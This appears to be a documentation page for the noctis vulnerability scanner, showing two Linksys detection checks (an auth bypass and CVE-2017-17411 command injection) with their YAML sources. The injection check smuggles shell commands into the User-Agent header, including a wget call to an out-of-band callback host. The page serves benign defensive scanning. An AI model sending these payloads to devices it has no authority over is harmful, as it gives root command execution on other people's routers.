Linksys — 2 vulnerability checks

noctis ships 2 vulnerability checks for Linksys, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Cisco Linksys port 8083 Authentication Bypass

CVECVE-2013-5122
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https, us-srv
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/linksys/CVE-2013-5122.yaml

Cisco Linksys EA2700, EA3500, E4200 and EA4500 routers expose the admin web interface on TCP 8083 without HTTP authentication. Confirmed by fetching the admin Management page (router-password form) with no credentials.

How noctis detects it

  1. HTTP(S) request GET /Management.asp
  2. Checks resp.body for (?i)<title>\s*Management\s*</title>
  3. Checks resp.body for (?i)<input\b[^>]*\bname\s*=\s*\\?["']?http_passwd(?:\\?["']|[\s/>])
  4. Parses / computes the next value with a Rhai script
  5. Checks proof for ^admin Management page → finding QoD 75: Unauthenticated GET /Management.asp on port … returned HTTP 200 with the …

References:

Feed source — tests/vulnerabilities/linksys/CVE-2013-5122.yaml
# Cisco Linksys EA2700 / EA3500 / E4200 / EA4500 — port 8083 authentication
# bypass — CVE-2013-5122
#
# Ported from OpenVAS/Greenbone NVT
# `2014/gb_multiple_linksys_security_bypass_60897.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.105041, GPL-2.0-only).
#
# Affected firmwares (EA2700 1.0.14, EA3500 1.0.30, E4200 2.0.36, EA4500
# 2.0.36) run a second web server on TCP 8083 that serves the same admin
# interface as port 80 but never asks for HTTP authentication, so anyone who
# reaches it gets the administrator's pages.
#
# Proof (benign, read-only): an unauthenticated GET of the admin page
# /Management.asp — the page that holds the router-password form — exactly as
# the NASL does, and the reply must be that admin page (status 200, title
# "Management", and an <input> named `http_passwd`). Nothing is submitted or
# changed.
#
# Improvements over the NASL (Flo: do better than OpenVAS when possible):
#   - Runs on every discovered HTTP/HTTPS port instead of only a hardcoded
#     8083: the scan's service discovery reports the bypass listener (8083 is a
#     regular nmap port), and a firmware variant or port forward that moves it
#     elsewhere, or serves it over TLS, is still caught. On a port that enforces
#     authentication (port 80 of the same router) the page answers 401 and
#     nothing is reported.
#   - Stricter proof: status 200 is required, and `http_passwd` must be the
#     name of an <input> field, where the NASL matches the bare word anywhere
#     in the reply (a 401/404 page or a help text mentioning it would match).
#   - Also runs on `us-srv`, the name nmap's port table gives 8083 when the
#     scan did not fingerprint the service as http.
#   - The page body is matched without `on_match` and never reaches the
#     evidence (it pre-fills the password field — the stock firmware uses a
#     fixed placeholder, but a customised one could echo more); only a fixed
#     summary string is reported.
uid: f02c6407-d0a6-434a-b23d-14e2419612d3
name: "Cisco Linksys port 8083 Authentication Bypass (CVE-2013-5122)"
description: |
  Cisco Linksys EA2700, EA3500, E4200 and EA4500 routers expose the admin web
  interface on TCP 8083 without HTTP authentication. Confirmed by fetching the
  admin Management page (router-password form) with no credentials.
cves: [CVE-2013-5122]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [cisco, linksys, router, iot, auth-bypass, admin-panel]
services: [http, https, us-srv]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-5122"
  - "https://www.securityfocus.com/bid/60897"
  - "OpenVAS NVT 2014/gb_multiple_linksys_security_bypass_60897.nasl (OID 1.3.6.1.4.1.25623.1.0.105041)"

steps:
  # Pre-init everything a later step reads: an undefined var aborts the test.
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── NASL request: unauthenticated GET of the admin Management page ───────
  - id: management-page
    action: http_request
    method: GET
    path: "/Management.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: resp

  # No on_match: the page pre-fills the password field, keep it out of evidence.
  # The field pattern also accepts `name=\"http_passwd\"` (tag written by JS).
  - id: title
    action: match
    source: resp.body
    pattern: "(?i)<title>\\s*Management\\s*</title>"
    store_as: title_m

  - id: password-field
    action: match
    source: resp.body
    pattern: "(?i)<input\\b[^>]*\\bname\\s*=\\s*\\\\?[\"']?http_passwd(?:\\\\?[\"']|[\\s/>])"
    store_as: pw_m

  - id: verdict
    action: script
    code: |
      if resp.status == 200 && title_m.matched && pw_m.matched {
        "admin Management page (router-password form http_passwd) served without credentials"
      } else { "" }
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: "^admin Management page"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Unauthenticated GET /Management.asp on port {{port}} returned HTTP 200 with the {{proof}}"
      stop: true

Linksys WVBR0-25 User-Agent Command Injection

CVECVE-2017-17411
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/linksys/CVE-2017-17411.yaml

Detects the unauthenticated OS command injection in the web portal of the Linksys WVBR0-25 wireless video bridge before firmware 1.0.41: the User-Agent header is placed inside a shell command run as root without sanitisation, and the status page on "/" prints that command and its output. When "/" identifies the bridge, the test requests it again with a User-Agent that closes the quoted string and runs `echo NOCTIS<a + b>` (the sum computed by expr and by shell arithmetic) from per-run random operands, and requires the shell-computed sum in the response; the sum never appears in the request, so a page that merely displays the header cannot match. When out-of-band detection is configured, a second request makes the bridge fetch the per-run callback URL with wget, which covers units that run the command without showing its output. Nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /
  5. Checks inj.body for NOCTIS[0-9]{7} → finding QoD 97: Linksys WVBR0-25 command injection confirmed via GET / with User-Agent `"; echo NOCTIS`expr … + …`; echo NOCTIS$((…+…)) #`: a shell evaluat…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET /
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Linksys WVBR0-25 blind command injection confirmed via GET / (User-Agent): a shell removed the ''-split in the OOB token and the injected w…

References:

Feed source — tests/vulnerabilities/linksys/CVE-2017-17411.yaml
# Linksys WVBR0-25 (DirecTV Wireless Video Bridge) — unauthenticated OS command
# injection through the User-Agent header of the web portal, CVE-2017-17411
# (ZDI-17-973, fixed in firmware 1.0.41).
#
# Ported from OpenVAS/Greenbone NVT `2017/gb_linksys_wvbro25_rce_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.140625, GPL-2.0-only). The NASL GETs "/" with
# User-Agent `"; id #` and greps the reply for `uid=…gid=…`.
#
# Root cause (ZDI blog): the web UI (dispatcher.cgi -> apply.cgi, lighttpd as root) builds a shell
# command from the client IP and the User-Agent, inside double quotes, to make
# an MD5 hash, and hands it to popen() unsanitised. The page served on "/"
# (SysInfo) prints the `config.webui sys_cmd` log lines — each command and its
# output — so the injected command's output comes back in the same response.
#
# Detection — benign in-band proof (QoD 97): the User-Agent closes the quote and
# runs `echo NOCTIS`expr <a> + <b>`` and `echo NOCTIS$((<a>+<b>))`, a/b random
# integers in 500000..999999; `#` comments out the rest of the vendor command.
# Because the page echoes the command line itself, an `id`-style or plain
# marker would also be shown by a unit that only logs the header; the 7-digit
# sum never appears in the request, so only a shell that ran it can print it.
# Nothing is written.
#
# Deviations from the NASL (intentional, better coverage):
#   - Benign arithmetic marker instead of `id` output (robust to the page
#     reflecting the command line).
#   - Blind fallback (oob_enabled only): `wget -q -O /dev/null <oob url> &` with
#     the token split by an empty '' pair (only a shell rebuilds the path), for
#     units whose page does not show the command output.
#   - Redirects are followed: "/" renders /dispatcher.cgi?template=SysInfo.asp,
#     which some firmware may serve through an HTTP redirect (the User-Agent
#     is kept on the same-host hop).
#   - Gate on the device page ("sys_cmd" log / WVBR0 / Wireless Video Bridge)
#     instead of a separate product detection, so the shell payload is only
#     sent to the bridge's web portal.
#   - CVSS aligned on NVD (v3.0 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
uid: 086a893c-bd8e-4cad-ba8c-5a60d823e24b
name: "Linksys WVBR0-25 User-Agent Command Injection (CVE-2017-17411)"
description: |
  Detects the unauthenticated OS command injection in the web portal of the
  Linksys WVBR0-25 wireless video bridge before firmware 1.0.41: the
  User-Agent header is placed inside a shell command run as root without
  sanitisation, and the status page on "/" prints that command and its
  output. When "/" identifies the bridge, the test requests it again with a
  User-Agent that closes the quoted string and runs
  `echo NOCTIS<a + b>` (the sum computed by expr and by shell arithmetic) from
  per-run random operands, and requires the shell-computed sum in the
  response; the sum never appears in the request, so a page that merely
  displays the header cannot match. When out-of-band detection is
  configured, a second request makes the bridge fetch the per-run callback
  URL with wget, which covers units that run the command without showing
  its output. Nothing is written on the target.
cves: [CVE-2017-17411]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [linksys, wvbr0-25, directv, video-bridge, user-agent, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-17411"
  - "https://www.zerodayinitiative.com/advisories/ZDI-17-973/"
  - "https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair"
  - "https://www.exploit-db.com/exploits/43363"
  - "https://www.exploit-db.com/exploits/43429"

steps:
  # Per-run operands; marker = NOCTIS<a+b> (always 7 digits).
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: a, b: b, marker: "NOCTIS" + (a + b) }
    store_as: proof

  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: null}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: null}

  # Gate: the bridge's status page on "/" (sys_cmd log lines / model name).
  - id: home-page
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 20
    store_as: page

  - id: gate
    action: script
    code: |
      let b = page.body;
      let ok = page.status == 200 && type_of(b) == "string"
        && (stridx(b, "sys_cmd") >= 0 || stridx(b, "WVBR0") >= 0
            || stridx(tolower(b), "wireless video bridge") >= 0);
      #{ ok: ok }
    store_as: gate

  # NASL request shape (GET / with the payload in User-Agent), `id` swapped
  # for the arithmetic marker.
  - id: inject
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 20
    condition: "gate.ok"
    headers:
      User-Agent: "\"; echo NOCTIS`expr {{proof.a}} + {{proof.b}}`; echo NOCTIS$(({{proof.a}}+{{proof.b}})) #"
    store_as: inj

  - id: confirm
    action: match
    source: inj.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "gate.ok && type_of(inj.body) == \"string\" && stridx(inj.body, proof.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Linksys WVBR0-25 command injection confirmed via GET / with User-Agent `\"; echo NOCTIS`expr {{proof.a}} + {{proof.b}}`; echo NOCTIS$(({{proof.a}}+{{proof.b}})) #`: a shell evaluated the per-run arithmetic and the page returned {{proof.marker}}"
      stop: true

  # Blind fallback (reached only when the in-band proof did not fire): the
  # bridge fetches the per-run OOB URL; output goes to /dev/null and the
  # trailing & backgrounds wget so the CGI never waits on it.
  - id: split-oob-token
    action: script
    condition: "oob_enabled && gate.ok"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  - id: inject-oob
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 20
    condition: "oob_enabled && gate.ok"
    headers:
      User-Agent: "\"; wget -q -O /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}''{{oobsplit.b}} & #"
    store_as: inj_oob

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && gate.ok"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Linksys WVBR0-25 blind command injection confirmed via GET / (User-Agent): a shell removed the ''-split in the OOB token and the injected wget fetched the per-run OOB URL (HTTP callback received)"
      stop: true

View these feeds on GitHub